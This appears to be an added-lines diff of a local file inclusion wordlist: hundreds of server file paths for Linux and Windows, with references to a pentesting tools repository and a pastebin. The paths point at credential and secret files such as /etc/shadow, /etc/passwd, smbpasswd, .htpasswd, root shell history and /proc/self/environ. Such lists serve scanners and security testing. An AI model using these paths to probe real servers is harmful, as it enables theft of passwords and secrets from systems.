+/etc/login.defs +/etc/logrotate.conf +/etc/logrotate.d/ftp +/etc/logrotate.d/proftpd +/etc/logrotate.d/vsftpd.log +/etc/ltrace.conf +/etc/mail/sendmail.conf +/etc/mandrake-release +/etc/manpath.config +/etc/miredo-server.conf +/etc/miredo.conf +/etc/miredo/miredo-server.conf +/etc/miredo/miredo.conf +/etc/modprobe.d/vmware-tools.conf +/etc/modules +/etc/mono/1.0/machine.config +/etc/mono/2.0/machine.config +/etc/mono/2.0/web.config +/etc/mono/config +/etc/motd +/etc/motd +/etc/mtab +/etc/mtools.conf +/etc/muddleftpd.com +/etc/muddleftpd/muddleftpd.conf +/etc/muddleftpd/muddleftpd.passwd +/etc/muddleftpd/mudlog +/etc/muddleftpd/mudlogd.conf +/etc/muddleftpd/passwd +/etc/my.cnf +/etc/mysql/conf.d/old_passwords.cnf +/etc/mysql/my.cnf +/etc/networks +/etc/newsyslog.conf +/etc/nginx/nginx.conf +/etc/openldap/ldap.conf +/etc/os-release +/etc/osxhttpd/osxhttpd.conf +/etc/pam.conf +/etc/pam.d/proftpd +/etc/passwd +/etc/passwd +/etc/passwd- +/etc/passwd~ +/etc/password.master +/etc/php.ini +/etc/php/apache/php.ini +/etc/php/apache2/php.ini +/etc/php/cgi/php.ini +/etc/php/php.ini +/etc/php/php4/php.ini +/etc/php4.4/fcgi/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php5/cgi/php.ini +/etc/phpmyadmin/config.inc.php +/etc/postgresql/pg_hba.conf +/etc/postgresql/postgresql.conf +/etc/profile +/etc/proftp.conf +/etc/proftpd/modules.conf +/etc/protpd/proftpd.conf +/etc/pulse/client.conf +/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/pureftpd.pdb +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/rc.conf +/etc/rc.d/rc.httpd +/etc/redhat-release +/etc/resolv.conf +/etc/resolvconf/update-libc.d/sendmail +/etc/samba/dhcp.conf +/etc/samba/netlogon +/etc/samba/private/smbpasswd +/etc/samba/samba.conf +/etc/samba/smb.conf +/etc/samba/smb.conf.user +/etc/samba/smbpasswd +/etc/samba/smbusers +/etc/security/access.conf +/etc/security/environ +/etc/security/failedlogin +/etc/security/group +/etc/security/group.conf +/etc/security/lastlog +/etc/security/limits +/etc/security/limits.conf +/etc/security/namespace.conf +/etc/security/opasswd +/etc/security/pam_env.conf +/etc/security/passwd +/etc/security/sepermit.conf +/etc/security/time.conf +/etc/security/user +/etc/sensors.conf +/etc/sensors3.conf +/etc/shadow +/etc/shadow- +/etc/shadow~ +/etc/slackware-release +/etc/smb.conf +/etc/smbpasswd +/etc/smi.conf +/etc/squirrelmail/apache.conf +/etc/squirrelmail/config.php +/etc/squirrelmail/config/config.php +/etc/squirrelmail/config_default.php +/etc/squirrelmail/config_local.php +/etc/squirrelmail/default_pref +/etc/squirrelmail/filters_setup.php +/etc/squirrelmail/index.php +/etc/squirrelmail/sqspell_config.php +/etc/ssh/sshd_config +/etc/sso/sso_config.ini +/etc/stunnel/stunnel.conf +/etc/subversion/config +/etc/sudoers +/etc/suse-release +/etc/sw-cp-server/applications.d/00-sso-cpserver.conf +/etc/sw-cp-server/applications.d/plesk.conf +/etc/sysconfig/network-scripts/ifcfg-eth0 +/etc/sysctl.conf +/etc/sysctl.d/10-console-messages.conf +/etc/sysctl.d/10-network-security.conf +/etc/sysctl.d/10-process-security.conf +/etc/sysctl.d/wine.sysctl.conf +/etc/syslog.conf +/etc/timezone +/etc/tinyproxy/tinyproxy.conf +/etc/tor/tor-tsocks.conf +/etc/tsocks.conf +/etc/updatedb.conf +/etc/updatedb.conf.beforevmwaretoolsinstall +/etc/utmp +/etc/vhcs2/proftpd/proftpd.conf +/etc/vmware-tools/config +/etc/vmware-tools/tpvmlp.conf +/etc/vmware-tools/vmware-tools-libraries.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/webmin/miniserv.conf +/etc/webmin/miniserv.users +/etc/wicd/dhclient.conf.template.default +/etc/wicd/manager-settings.conf +/etc/wicd/wired-settings.conf +/etc/wicd/wireless-settings.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/etc/x11/xorg.conf +/etc/x11/xorg.conf-vesa +/etc/x11/xorg.conf-vmware +/etc/x11/xorg.conf.beforevmwaretoolsinstall +/etc/x11/xorg.conf.orig +/home/bin/stable/apache/php.ini +/home/postgres/data/pg_hba.conf +/home/postgres/data/pg_ident.conf +/home/postgres/data/pg_version +/home/postgres/data/postgresql.conf +/home/user/lighttpd/lighttpd.conf +/home2/bin/stable/apache/php.ini +/http/httpd.conf +/library/webserver/documents/.htaccess +/library/webserver/documents/default.htm +/library/webserver/documents/default.html +/library/webserver/documents/default.php +/library/webserver/documents/index.htm +/library/webserver/documents/index.html +/library/webserver/documents/index.php +/logs/access.log +/logs/access_log +/logs/error.log +/logs/error_log +/logs/pure-ftpd.log +/logs/security_debug_log +/logs/security_log +/mysql/bin/my.ini +/mysql/data/mysql-bin.index +/mysql/data/mysql-bin.log +/mysql/data/mysql.err +/mysql/data/mysql.log +/mysql/my.cnf +/mysql/my.ini +/netserver/bin/stable/apache/php.ini +/opt/jboss/server/default/conf/jboss-minimal.xml +/opt/jboss/server/default/conf/jboss-service.xml +/opt/jboss/server/default/conf/jndi.properties +/opt/jboss/server/default/conf/log4j.xml +/opt/jboss/server/default/conf/login-config.xml +/opt/jboss/server/default/conf/server.log.properties +/opt/jboss/server/default/conf/standardjaws.xml +/opt/jboss/server/default/conf/standardjboss.xml +/opt/jboss/server/default/deploy/jboss-logging.xml +/opt/jboss/server/default/log/boot.log +/opt/jboss/server/default/log/server.log +/opt/apache/apache.conf +/opt/apache/apache2.conf +/opt/apache/conf/apache.conf +/opt/apache/conf/apache2.conf +/opt/apache/conf/httpd.conf +/opt/apache2/apache.conf +/opt/apache2/apache2.conf +/opt/apache2/conf/apache.conf +/opt/apache2/conf/apache2.conf +/opt/apache2/conf/httpd.conf +/opt/apache22/conf/httpd.conf +/opt/httpd/apache.conf +/opt/httpd/apache2.conf +/opt/httpd/conf/apache.conf +/opt/httpd/conf/apache2.conf +/opt/lampp/etc/httpd.conf +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error.log +/opt/lampp/logs/error_log +/opt/lsws/conf/httpd_conf.xml +/opt/lsws/logs/access.log +/opt/lsws/logs/error.log +/opt/tomcat/logs/catalina.err +/opt/tomcat/logs/catalina.out +/opt/xampp/etc/php.ini +/opt/xampp/logs/access.log +/opt/xampp/logs/access_log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log +/php/php.ini +/php/php.ini +/php4/php.ini +/php5/php.ini +/postgresql/log/pgadmin.log +/private/etc/httpd/apache.conf +/private/etc/httpd/apache2.conf +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf.default +/private/etc/squirrelmail/config/config.php +/proc/cpuinfo +/proc/devices +/proc/meminfo +/proc/net/tcp +/proc/net/udp +/proc/self/cmdline +/proc/self/environ +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/10 +/proc/self/fd/11 +/proc/self/fd/12 +/proc/self/fd/13 +/proc/self/fd/14 +/proc/self/fd/15 +/proc/self/fd/2 +/proc/self/fd/3 +/proc/self/fd/4 +/proc/self/fd/5 +/proc/self/fd/6 +/proc/self/fd/7 +/proc/self/fd/8 +/proc/self/fd/9 +/proc/self/mounts +/proc/self/stat +/proc/self/status +/proc/version +/program files/jboss/server/default/conf/jboss-minimal.xml +/program files/jboss/server/default/conf/jboss-service.xml +/program files/jboss/server/default/conf/jndi.properties +/program files/jboss/server/default/conf/log4j.xml +/program files/jboss/server/default/conf/login-config.xml +/program files/jboss/server/default/conf/server.log.properties +/program files/jboss/server/default/conf/standardjaws.xml +/program files/jboss/server/default/conf/standardjboss.xml +/program files/jboss/server/default/deploy/jboss-logging.xml +/program files/jboss/server/default/log/boot.log +/program files/jboss/server/default/log/server.log +/program files/apache group/apache/apache.conf +/program files/apache group/apache/apache2.conf +/program files/apache group/apache/conf/apache.conf +/program files/apache group/apache/conf/apache2.conf +/program files/apache group/apache/conf/httpd.conf +/program files/apache group/apache/logs/access.log +/program files/apache group/apache/logs/error.log +/program files/apache group/apache2/conf/apache.conf +/program files/apache group/apache2/conf/apache2.conf +/program files/apache group/apache2/conf/httpd.conf +/program files/apache software foundation/apache2.2/conf/httpd.conf +/program files/apache software foundation/apache2.2/logs/access.log +/program files/apache software foundation/apache2.2/logs/error.log +/program files/mysql/data/mysql-bin.index +/program files/mysql/data/mysql-bin.log +/program files/mysql/data/mysql.err +/program files/mysql/data/mysql.log +/program files/mysql/my.cnf +/program files/mysql/my.ini +/program files/mysql/mysql server 5.0/data/mysql-bin.index +/program files/mysql/mysql server 5.0/data/mysql-bin.log +/program files/mysql/mysql server 5.0/data/mysql.err +/program files/mysql/mysql server 5.0/data/mysql.log +/program files/mysql/mysql server 5.0/my.cnf +/program files/mysql/mysql server 5.0/my.ini +/program files/postgresql/8.3/data/pg_hba.conf +/program files/postgresql/8.3/data/pg_ident.conf +/program files/postgresql/8.3/data/postgresql.conf +/program files/postgresql/8.4/data/pg_hba.conf +/program files/postgresql/8.4/data/pg_ident.conf +/program files/postgresql/8.4/data/postgresql.conf +/program files/postgresql/9.0/data/pg_hba.conf +/program files/postgresql/9.0/data/pg_ident.conf +/program files/postgresql/9.0/data/postgresql.conf +/program files/postgresql/9.1/data/pg_hba.conf +/program files/postgresql/9.1/data/pg_ident.conf +/program files/postgresql/9.1/data/postgresql.conf +/program files/vidalia bundle/polipo/polipo.conf +/program files/xampp/apache/conf/apache.conf +/program files/xampp/apache/conf/apache2.conf +/program files/xampp/apache/conf/httpd.conf +/root/.bash_config +/root/.bash_history +/root/.bash_logout +/root/.bashrc +/root/.ksh_history +/root/.xauthority +/srv/www/htdos/squirrelmail/config/config.php +/ssl_request_log +/system/library/webobjects/adaptors/apache2.2/apache.conf +/temp/sess_ +/thttpd_log +/tmp/jboss/server/default/conf/jboss-minimal.xml +/tmp/jboss/server/default/conf/jboss-service.xml +/tmp/jboss/server/default/conf/jndi.properties +/tmp/jboss/server/default/conf/log4j.xml +/tmp/jboss/server/default/conf/login-config.xml +/tmp/jboss/server/default/conf/server.log.properties +/tmp/jboss/server/default/conf/standardjaws.xml +/tmp/jboss/server/default/conf/standardjboss.xml +/tmp/jboss/server/default/deploy/jboss-logging.xml +/tmp/jboss/server/default/log/boot.log +/tmp/jboss/server/default/log/server.log +/tmp/access.log +/tmp/sess_ +/usr/apache/conf/httpd.conf +/usr/apache2/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/home/user/lighttpd/lighttpd.conf +/usr/home/user/var/log/apache.log +/usr/home/user/var/log/lighttpd.error.log +/usr/internet/pgsql/data/pg_hba.conf +/usr/internet/pgsql/data/postmaster.log +/usr/lib/cron/log +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/lib/security/mkuser.default +/usr/local/jboss/server/default/conf/jboss-minimal.xml +/usr/local/jboss/server/default/conf/jboss-service.xml +/usr/local/jboss/server/default/conf/jndi.properties +/usr/local/jboss/server/default/conf/log4j.xml +/usr/local/jboss/server/default/conf/login-config.xml +/usr/local/jboss/server/default/conf/server.log.properties +/usr/local/jboss/server/default/conf/standardjaws.xml +/usr/local/jboss/server/default/conf/standardjboss.xml +/usr/local/jboss/server/default/deploy/jboss-logging.xml +/usr/local/jboss/server/default/log/boot.log +/usr/local/jboss/server/default/log/server.log +/usr/local/apache/apache.conf +/usr/local/apache/apache2.conf +/usr/local/apache/conf/access.conf +/usr/local/apache/conf/apache.conf +/usr/local/apache/conf/apache2.conf +/usr/local/apache/conf/httpd.conf +/usr/local/apache/conf/httpd.conf.default +/usr/local/apache/conf/modsec.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/conf/vhosts-custom.conf +/usr/local/apache/conf/vhosts.conf +/usr/local/apache/httpd.conf +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log +/usr/local/apache/logs/audit_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/lighttpd.error.log +/usr/local/apache/logs/lighttpd.log +/usr/local/apache/logs/mod_jk.log +/usr/local/apache1.3/conf/httpd.conf +/usr/local/apache2/apache.conf +/usr/local/apache2/apache2.conf +/usr/local/apache2/conf/apache.conf +/usr/local/apache2/conf/apache2.conf +/usr/local/apache2/conf/extra/httpd-ssl.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/conf/modsec.conf +/usr/local/apache2/conf/ssl.conf +/usr/local/apache2/conf/vhosts-custom.conf +/usr/local/apache2/conf/vhosts.conf +/usr/local/apache2/httpd.conf +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/audit_log +/usr/local/apache2/logs/error.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/lighttpd.error.log +/usr/local/apache2/logs/lighttpd.log +/usr/local/apache22/conf/httpd.conf +/usr/local/apache22/httpd.conf +/usr/local/apps/apache/conf/httpd.conf +/usr/local/apps/apache2/conf/httpd.conf +/usr/local/apps/apache22/conf/httpd.conf +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/stats_log +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/httpd.conf +/usr/local/etc/apache/vhosts.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/apache2/httpd.conf +/usr/local/etc/apache2/vhosts.conf +/usr/local/etc/apache22/conf/httpd.conf +/usr/local/etc/apache22/httpd.conf +/usr/local/etc/httpd/conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/local/etc/lighttpd.conf +/usr/local/etc/lighttpd.conf.new +/usr/local/etc/nginx/nginx.conf +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/etc/smb.conf +/usr/local/etc/webmin/miniserv.conf +/usr/local/etc/webmin/miniserv.users +/usr/local/httpd/conf/httpd.conf +/usr/local/jakarta/dist/tomcat/conf/context.xml +/usr/local/jakarta/dist/tomcat/conf/jakarta.conf +/usr/local/jakarta/dist/tomcat/conf/logging.properties +/usr/local/jakarta/dist/tomcat/conf/server.xml +/usr/local/jakarta/dist/tomcat/conf/workers.properties +/usr/local/jakarta/dist/tomcat/logs/mod_jk.log +/usr/local/jakarta/tomcat/conf/context.xml +/usr/local/jakarta/tomcat/conf/jakarta.conf +/usr/local/jakarta/tomcat/conf/logging.properties +/usr/local/jakarta/tomcat/conf/server.xml +/usr/local/jakarta/tomcat/conf/workers.properties +/usr/local/jakarta/tomcat/logs/catalina.err +/usr/local/jakarta/tomcat/logs/catalina.out +/usr/local/jakarta/tomcat/logs/mod_jk.log +/usr/local/lib/php.ini +/usr/local/lighttpd/conf/lighttpd.conf +/usr/local/lighttpd/log/access.log +/usr/local/lighttpd/log/lighttpd.error.log +/usr/local/logs/access.log +/usr/local/logs/samba.log +/usr/local/lsws/conf/httpd_conf.xml +/usr/local/lsws/logs/error.log +/usr/local/mysql/data/mysql-bin.index +/usr/local/mysql/data/mysql-bin.log +/usr/local/mysql/data/mysql-slow.log +/usr/local/mysql/data/mysql.err +/usr/local/mysql/data/mysql.log +/usr/local/mysql/data/mysqlderror.log +/usr/local/nginx/conf/nginx.conf +/usr/local/pgsql/bin/pg_passwd +/usr/local/pgsql/data/passwd +/usr/local/pgsql/data/pg_hba.conf +/usr/local/pgsql/data/pg_log +/usr/local/pgsql/data/postgresql.conf +/usr/local/pgsql/data/postgresql.log +/usr/local/php/apache.conf +/usr/local/php/apache.conf.php +/usr/local/php/apache2.conf +/usr/local/php/apache2.conf.php +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/php4/apache.conf +/usr/local/php4/apache.conf.php +/usr/local/php4/apache2.conf +/usr/local/php4/apache2.conf.php +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/apache.conf +/usr/local/php5/apache.conf.php +/usr/local/php5/apache2.conf +/usr/local/php5/apache2.conf.php +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/psa/admin/conf/php.ini +/usr/local/psa/admin/conf/site_isolation_settings.ini +/usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php +/usr/local/psa/admin/logs/httpsd_access_log +/usr/local/psa/admin/logs/panel.log +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/samba/lib/log.user +/usr/local/samba/lib/smb.conf.user +/usr/local/sb/config +/usr/local/squirrelmail/www/readme +/usr/local/zend/etc/php.ini +/usr/local/zeus/web/global.cfg +/usr/local/zeus/web/log/errors +/usr/pkg/etc/httpd/httpd-default.conf +/usr/pkg/etc/httpd/httpd-vhosts.conf +/usr/pkg/etc/httpd/httpd.conf +/usr/pkgsrc/net/pureftpd/pure-ftpd.conf +/usr/pkgsrc/net/pureftpd/pureftpd.passwd +/usr/pkgsrc/net/pureftpd/pureftpd.pdb +/usr/ports/contrib/pure-ftpd/pure-ftpd.conf +/usr/ports/contrib/pure-ftpd/pureftpd.passwd +/usr/ports/contrib/pure-ftpd/pureftpd.pdb +/usr/ports/ftp/pure-ftpd/pure-ftpd.conf +/usr/ports/ftp/pure-ftpd/pureftpd.passwd +/usr/ports/ftp/pure-ftpd/pureftpd.pdb +/usr/ports/net/pure-ftpd/pure-ftpd.conf +/usr/ports/net/pure-ftpd/pureftpd.passwd +/usr/ports/net/pure-ftpd/pureftpd.pdb +/usr/sbin/mudlogd +/usr/sbin/mudpasswd +/usr/sbin/pure-config.pl +/usr/share/adduser/adduser.conf +/usr/share/logs/catalina.err +/usr/share/logs/catalina.out +/usr/share/squirrelmail/config/config.php +/usr/share/squirrelmail/plugins/squirrel_logger/setup.php +/usr/share/tomcat/logs/catalina.err +/usr/share/tomcat/logs/catalina.out +/usr/share/tomcat6/conf/context.xml +/usr/share/tomcat6/conf/logging.properties +/usr/share/tomcat6/conf/server.xml +/usr/share/tomcat6/conf/workers.properties +/usr/share/tomcat6/logs/catalina.err +/usr/share/tomcat6/logs/catalina.out +/usr/spool/lp/log +/usr/spool/mqueue/syslog +/var/adm/acct/sum/loginlog +/var/adm/aculog +/var/adm/aculogs +/var/adm/crash/unix +/var/adm/crash/vmcore +/var/adm/cron/log +/var/adm/dtmp +/var/adm/lastlog/username +/var/adm/log/asppp.log +/var/adm/log/xferlog +/var/adm/loginlog +/var/adm/lp/lpd-errs +/var/adm/messages +/var/adm/pacct +/var/adm/qacct +/var/adm/ras/bootlog +/var/adm/ras/errlog +/var/adm/sulog +/var/adm/syslog +/var/adm/utmp +/var/adm/utmpx +/var/adm/vold.log +/var/adm/wtmp +/var/adm/wtmpx +/var/adm/x0msgs +/var/apache/conf/httpd.conf +/var/cpanel/cpanel.config +/var/cpanel/tomcat.options +/var/cron/log +/var/data/mysql-bin.index +/var/lib/mysql/my.cnf +/var/lib/pgsql/data/postgresql.conf +/var/lib/squirrelmail/prefs/squirrelmail.log +/var/lighttpd.log +/var/local/www/conf/php.ini +/var/log/access.log +/var/log/access_log +/var/log/apache/access.log +/var/log/apache/access_log +/var/log/apache/error.log +/var/log/apache/error_log +/var/log/apache2/access.log +/var/log/apache2/access_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache2/squirrelmail.err.log +/var/log/apache2/squirrelmail.log +/var/log/auth.log +/var/log/auth.log +/var/log/authlog +/var/log/boot.log +/var/log/cron/var/log/postgres.log +/var/log/daemon.log +/var/log/daemon.log.1 +/var/log/data/mysql-bin.index +/var/log/error.log +/var/log/error_log +/var/log/exim/mainlog +/var/log/exim/paniclog +/var/log/exim/rejectlog +/var/log/exim_mainlog +/var/log/exim_paniclog +/var/log/exim_rejectlog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/ftplog +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/httpd/error_log +/var/log/ipfw +/var/log/ipfw.log +/var/log/ipfw.today +/var/log/ipfw/ipfw.log +/var/log/kern.log +/var/log/kern.log.1 +/var/log/lighttpd.access.log +/var/log/lighttpd.error.log +/var/log/lighttpd/access.log +/var/log/lighttpd/access.www.log +/var/log/lighttpd/error.log +/var/log/lighttpd/error.www.log +/var/log/log.smb +/var/log/mail.err +/var/log/mail.info +/var/log/mail.log +/var/log/mail.log +/var/log/mail.warn +/var/log/maillog +/var/log/messages +/var/log/messages.1 +/var/log/muddleftpd +/var/log/muddleftpd.conf +/var/log/mysql-bin.index +/var/log/mysql.err +/var/log/mysql.log +/var/log/mysql/data/mysql-bin.index +/var/log/mysql/mysql-bin.index +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql-slow.log +/var/log/mysql/mysql.log +/var/log/mysqlderror.log +/var/log/news.all +/var/log/news/news.all +/var/log/news/news.crit +/var/log/news/news.err +/var/log/news/news.notice +/var/log/news/suck.err +/var/log/news/suck.notice +/var/log/nginx.access_log +/var/log/nginx.error_log +/var/log/nginx/access.log +/var/log/nginx/access_log +/var/log/nginx/error.log +/var/log/nginx/error_log +/var/log/pgsql/pgsql.log +/var/log/pgsql8.log +/var/log/pgsql_log +/var/log/pm-powersave.log +/var/log/poplog +/var/log/postgres/pg_backup.log +/var/log/postgres/postgres.log +/var/log/postgresql.log +/var/log/postgresql/main.log +/var/log/postgresql/postgres.log +/var/log/postgresql/postgresql-8.1-main.log +/var/log/postgresql/postgresql-8.3-main.log +/var/log/postgresql/postgresql-8.4-main.log +/var/log/postgresql/postgresql-9.0-main.log +/var/log/postgresql/postgresql-9.1-main.log +/var/log/postgresql/postgresql.log +/var/log/proftpd +/var/log/proftpd.access_log +/var/log/proftpd.xferlog +/var/log/proftpd/xferlog.legacy +/var/log/pure-ftpd/pure-ftpd.log +/var/log/pureftpd.log +/var/log/samba.log +/var/log/samba.log1 +/var/log/samba.log2 +/var/log/samba/log.nmbd +/var/log/samba/log.smbd +/var/log/squirrelmail.log +/var/log/sso/sso.log +/var/log/sw-cp-server/error_log +/var/log/syslog +/var/log/syslog.1 +/var/log/thttpd_log +/var/log/tomcat6/catalina.out +/var/log/ufw.log +/var/log/user.log +/var/log/user.log.1 +/var/log/vmware/hostd-1.log +/var/log/vmware/hostd.log +/var/log/vsftpd.log +/var/log/webmin/miniserv.log +/var/log/xferlog +/var/log/xorg.0.log +/var/logs/access.log +/var/lp/logs/lpnet +/var/lp/logs/lpsched +/var/lp/logs/requests +/var/mysql-bin.index +/var/mysql.log +/var/nm2/postgresql.conf +/var/postgresql/db/postgresql.conf +/var/postgresql/log/postgresql.log +/var/saf/_log +/var/saf/port/log +/var/www/.lighttpdpassword +/var/www/conf +/var/www/conf/httpd.conf +/var/www/html/squirrelmail-1.2.9/config/config.php +/var/www/html/squirrelmail/config/config.php +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/error.log +/var/www/logs/error_log +/var/www/squirrelmail/config/config.php +/volumes/macintosh_hd1/opt/apache/conf/httpd.conf +/volumes/macintosh_hd1/opt/apache2/conf/httpd.conf +/volumes/macintosh_hd1/opt/httpd/conf/httpd.conf +/volumes/macintosh_hd1/usr/local/php/httpd.conf.php +/volumes/macintosh_hd1/usr/local/php/lib/php.ini +/volumes/macintosh_hd1/usr/local/php4/httpd.conf.php +/volumes/macintosh_hd1/usr/local/php5/httpd.conf.php +/volumes/webbackup/opt/apache2/conf/httpd.conf +/volumes/webbackup/private/etc/httpd/httpd.conf +/volumes/webbackup/private/etc/httpd/httpd.conf.default +/wamp/bin/apache/apache2.2.21/conf/httpd.conf +/wamp/bin/apache/apache2.2.21/logs/access.log +/wamp/bin/apache/apache2.2.21/logs/error.log +/wamp/bin/apache/apache2.2.21/wampserver.conf +/wamp/bin/apache/apache2.2.22/conf/httpd.conf +/wamp/bin/apache/apache2.2.22/conf/wampserver.conf +/wamp/bin/apache/apache2.2.22/logs/access.log +/wamp/bin/apache/apache2.2.22/logs/error.log +/wamp/bin/apache/apache2.2.22/wampserver.conf +/wamp/bin/mysql/mysql5.5.16/data/mysql-bin.index +/wamp/bin/mysql/mysql5.5.16/my.ini +/wamp/bin/mysql/mysql5.5.16/wampserver.conf +/wamp/bin/mysql/mysql5.5.24/data/mysql-bin.index +/wamp/bin/mysql/mysql5.5.24/my.ini +/wamp/bin/mysql/mysql5.5.24/wampserver.conf +/wamp/bin/php/php5.3.8/php.ini +/wamp/bin/php/php5.4.3/php.ini +/wamp/logs/access.log +/wamp/logs/apache_error.log +/wamp/logs/genquery.log +/wamp/logs/mysql.log +/wamp/logs/slowquery.log +/web/conf/php.ini +/windows/comsetup.log +/windows/debug/netsetup.log +/windows/odbc.ini +/windows/php.ini +/windows/repair/setup.log +/windows/setupact.log +/windows/setupapi.log +/windows/setuperr.log +/windows/win.ini +/windows/system32/drivers/etc/hosts +/windows/system32/drivers/etc/lmhosts.sam +/windows/system32/drivers/etc/networks +/windows/system32/drivers/etc/protocol +/windows/system32/drivers/etc/services +/windows/system32/logfiles/firewall/pfirewall.log +/windows/system32/logfiles/firewall/pfirewall.log.old +/windows/system32/logfiles/msftpsvc +/windows/system32/logfiles/msftpsvc1 +/windows/system32/logfiles/msftpsvc2 +/windows/system32/logfiles/smtpsvc +/windows/system32/logfiles/smtpsvc1 +/windows/system32/logfiles/smtpsvc2 +/windows/system32/logfiles/smtpsvc3 +/windows/system32/logfiles/smtpsvc4 +/windows/system32/logfiles/smtpsvc5 +/windows/system32/logfiles/w3svc/inetsvn1.log +/windows/system32/logfiles/w3svc1/inetsvn1.log +/windows/system32/logfiles/w3svc2/inetsvn1.log +/windows/system32/logfiles/w3svc3/inetsvn1.log +/windows/system32/macromed/flash/flashinstall.log +/windows/system32/macromed/flash/install.log +/windows/updspapi.log +/windows/windowsupdate.log +/windows/wmsetup.log +/winnt/php.ini +/winnt/system32/logfiles/firewall/pfirewall.log +/winnt/system32/logfiles/firewall/pfirewall.log.old +/winnt/system32/logfiles/msftpsvc +/winnt/system32/logfiles/msftpsvc1 +/winnt/system32/logfiles/msftpsvc2 +/winnt/system32/logfiles/smtpsvc +/winnt/system32/logfiles/smtpsvc1 +/winnt/system32/logfiles/smtpsvc2 +/winnt/system32/logfiles/smtpsvc3 +/winnt/system32/logfiles/smtpsvc4 +/winnt/system32/logfiles/smtpsvc5 +/winnt/system32/logfiles/w3svc/inetsvn1.log +/winnt/system32/logfiles/w3svc1/inetsvn1.log +/winnt/system32/logfiles/w3svc2/inetsvn1.log +/winnt/system32/logfiles/w3svc3/inetsvn1.log +/www/apache/conf/httpd.conf +/www/conf/httpd.conf +/www/logs/freebsddiary-access_log +/www/logs/freebsddiary-error.log +/www/logs/proftpd.system.log +/xampp/apache/bin/php.ini +/xampp/apache/conf/httpd.conf +/xampp/apache/logs/access.log +/xampp/apache/logs/error.log +/xampp/filezillaftp/filezilla server.xml +/xampp/htdocs/aca.txt +/xampp/htdocs/admin.php +/xampp/htdocs/leer.txt +/xampp/mercurymail/mercury.ini +/xampp/mysql/data/mysql-bin.index +/xampp/mysql/data/mysql.err +/xampp/php/php.ini +/xampp/phpmyadmin/config.inc.php +/xampp/sendmail/sendmail.ini +/xampp/sendmail/sendmail.log +/xampp/webalizer/webalizer.conf +\autoexec.bat +\boot.ini +\inetpub\wwwroot\web.config +\web.config +\windows\system32\drivers\etc\hosts +\windows\win.ini + +# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt + +/etc/apache2/.htpasswd +/etc/apache/.htpasswd +/etc/master.passwd +/etc/muddleftpd/muddleftpd.passwd +/etc/muddleftpd/passwd +/etc/passwd +/etc/passwd~ +/etc/passwd- +/etc/pureftpd.passwd +/etc/samba/private/smbpasswd +/etc/samba/smbpasswd +/etc/security/opasswd +/etc/security/passwd +/etc/smbpasswd +\Program Files\xampp\apache\conf\httpd.conf +/usr/local/pgsql/bin/pg_passwd +/usr/local/pgsql/data/passwd +/usr/pkgsrc/net/pureftpd/pureftpd.passwd +/usr/ports/contrib/pure-ftpd/pureftpd.passwd +/usr/ports/ftp/pure-ftpd/pureftpd.passwd +/usr/ports/net/pure-ftpd/pureftpd.passwd +/var/log/exim_rejectlog/etc/passwd +/etc/mysql/conf.d/old_passwords.cnf +/etc/password.master +/var/www/.lighttpdpassword +/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf +/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf +/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf +/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini +/Volumes/webBackup/opt/apache2/conf/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf.default + +# Reference: https://pastebin.com/KgPsDXjg + +/etc/passwd +/etc/crontab +/etc/hosts +/etc/my.cnf +/etc/.htpasswd 